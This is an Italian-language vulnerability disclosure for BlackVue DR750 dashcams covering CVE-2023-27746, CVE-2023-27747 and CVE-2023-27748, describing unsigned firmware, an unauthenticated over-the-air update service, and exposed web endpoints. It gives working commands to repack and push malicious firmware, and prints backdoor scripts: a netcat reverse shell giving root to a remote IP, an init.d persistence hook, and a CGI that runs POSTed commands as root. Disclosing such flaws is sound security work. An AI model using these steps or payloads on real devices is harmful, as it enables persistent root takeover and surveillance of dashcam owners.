
BlackVue DR750 CVE CVE-2023-27746 CVE-2023-27747 CVE-2023-27748
Quanto segue è solo a scopo educativo, non provare su alcun dispositivo che non possiedi o per il quale non hai autorizzazione.
Al momento della scrittura, ci sono circa ~300 dispositivi BlackVue vulnerabili online, che possono essere facilmente scoperti e sfruttati, e nessuna patch ufficiale è stata rilasciata.
BlackVue è stato informato di queste vulnerabilità il 30-07-2022 e ha risposto che avrebbe esaminato i problemi. Tuttavia, per quanto ne sappiamo, non è successo nulla.
Non esiste alcun controllo di autenticità per il firmware, che permette a un attaccante malintenzionato di caricare un firmware personalizzato. Questo firmware personalizzato può includere backdoor o exploit.
Passaggi per riprodurre:
.zip contenente i file del firmwarepatch_<nome_dashcam>.bintar.gzpatch_<nome_dashcam>.bin (vedi sue_checksum)# downloaded from https://blackvue.com/download/dr750-2ch-lte-firmware-multilanguage/
$ unzip dr750-2ch-lte-v1.012-eng.zip
$ cd BlackVue/System/upgrade
$ mkdir patch-out
$ tar -C patch-out -xvzf patch_DR750LTE.bin
# make changes in patch-out
$ tar -C patch-out -czvf patch_DR750LTE.bin .
$ python3 sue_checksum.py patch_DR750LTE.bin patch_DR750LTE.bin.sue
$ cd ../../../
Quindi basta posizionare la cartella BlackVue sulla scheda SD della dashcam e questa inizierà a eseguirlo.
Quando si crea un firmware per FOTA (Firmware Over The Air), creare invece un file .tgz della directory System.
$ tar -C BlackVue/System -czvf fwupgrade.tgz
Questo file può poi essere utilizzato in seguito per caricare un firmware personalizzato tramite FOTA e compromettere completamente una dashcam.
È importante notare che durante i test è stato osservato che anche quando si flasha il firmware ufficiale dal sito web di BlackVue sul dispositivo, le backdoor inserite persistono.
Le dashcam BlackVue ascoltano sulla porta 9771/TCP, dove è in esecuzione il servizio FOTA (firmware over the air). Questo servizio consente di eseguire ping, riavviare, ottenere l'ora del dispositivo, aggiornare il firmware, ecc.
Non c'è nulla a proteggere questo endpoint e può essere accessibile quando si è connessi alla stessa LAN della dashcam o da Internet se la dashcam è connessa in LTE, il che rappresenta un significativo rischio per la sicurezza. Uno script Python in grado di comunicare con il servizio FOTA si trova qui.
Crea un nuovo firmware basato sui passaggi della sezione precedente e caricalo usando lo script Python.
python software/fota/fota.py 10.0.0.1 upgrade /tmp/fwupgrade.tgz
Questa utility non offre garanzia di funzionamento, ma ha funzionato una volta in passato.
Le dashcam non hanno alcun firewall abilitato, il che è meno problematico se la dashcam è connessa solo tramite Wi-Fi. Tuttavia, la versione LTE è connessa direttamente a Internet, poiché alcuni fornitori di servizi mobili non hanno un firewall configurato e non mettono i loro utenti dietro NAT. Questo può essere verificato esaminando il firmware estratto.
Come minimo, le dashcam BlackVue con LTE dovrebbero bloccare le connessioni sul lato LTE.
La password Wi-Fi predefinita per la dashcam è composta solo da caratteri alfanumerici minuscoli, con una lunghezza di 8. È possibile intercettare un handshake dalla dashcam e utilizzare strumenti di Aircrack-ng per calcolare la password (se l'utente non l'ha cambiata). Questo può essere fatto in circa ~4 giorni utilizzando hardware a noleggio (~40 EUR).
Per impostazione predefinita, il webserver è accessibile senza autenticazione ed espone vari endpoint.
├── blackvue_live.cgi
├── blackvue_livedata.cgi
├── blackvue_vod.cgi
├── Config
├── index.html
├── Record
└── upload.cgi
Questi endpoint consentono quanto segue:
L'SSID Wi-Fi e la password della rete a cui la dashcam si connetterà sono memorizzati sulla scheda SD nella dashcam. Questi dati sono crittografati, ma la chiave è facilmente rivelabile tramite reverse engineering dell'app. Come dimostrato da wifi-decrypt.py.
È anche opportuno notare che quando si cambia la rete Wi-Fi a cui la dashcam dovrebbe connettersi, questi valori vengono inviati ai server di BlackVue, che li memorizzeranno fino a quando non potranno inviare le informazioni alla dashcam. Non è noto se questi dati vengano eliminati quando la dashcam diventa disponibile.
Tutti questi possono essere combinati in un semplice RCE, specialmente con le dashcam LTE.
Alcuni esempi di backdoor, che potrebbero essere incluse in un firmware personalizzato.
La seguente backdoor si connetterà a una macchina remota e fornirà accesso completo alla shell come root.
/bin/backdoor.sh
#!/bin/sh
IP=$1
PORT=$2
while /bin/true; do
/usr/bin/nc $IP $PORT -e /bin/sh
done
Il seguente script init.d avvierà la backdoor a ogni avvio e si connetterà all'IP/porta indicati.
/etc/init.d/S85backdoor
#!/bin/sh
/bin/backdoor 10.99.77.20 1745 &
cmd.cgiLa seguente backdoor permetterà di eseguire comandi (come root), quando un payload viene inviato al webserver.
/res/System/www/cmd.cgi
#!/bin/sh
echo "Content-type: text/html" # set the data-type we want to use
echo ""
POST_STRING=$(/bin/cat)
echo $POST_STRING
exec $POST_STRING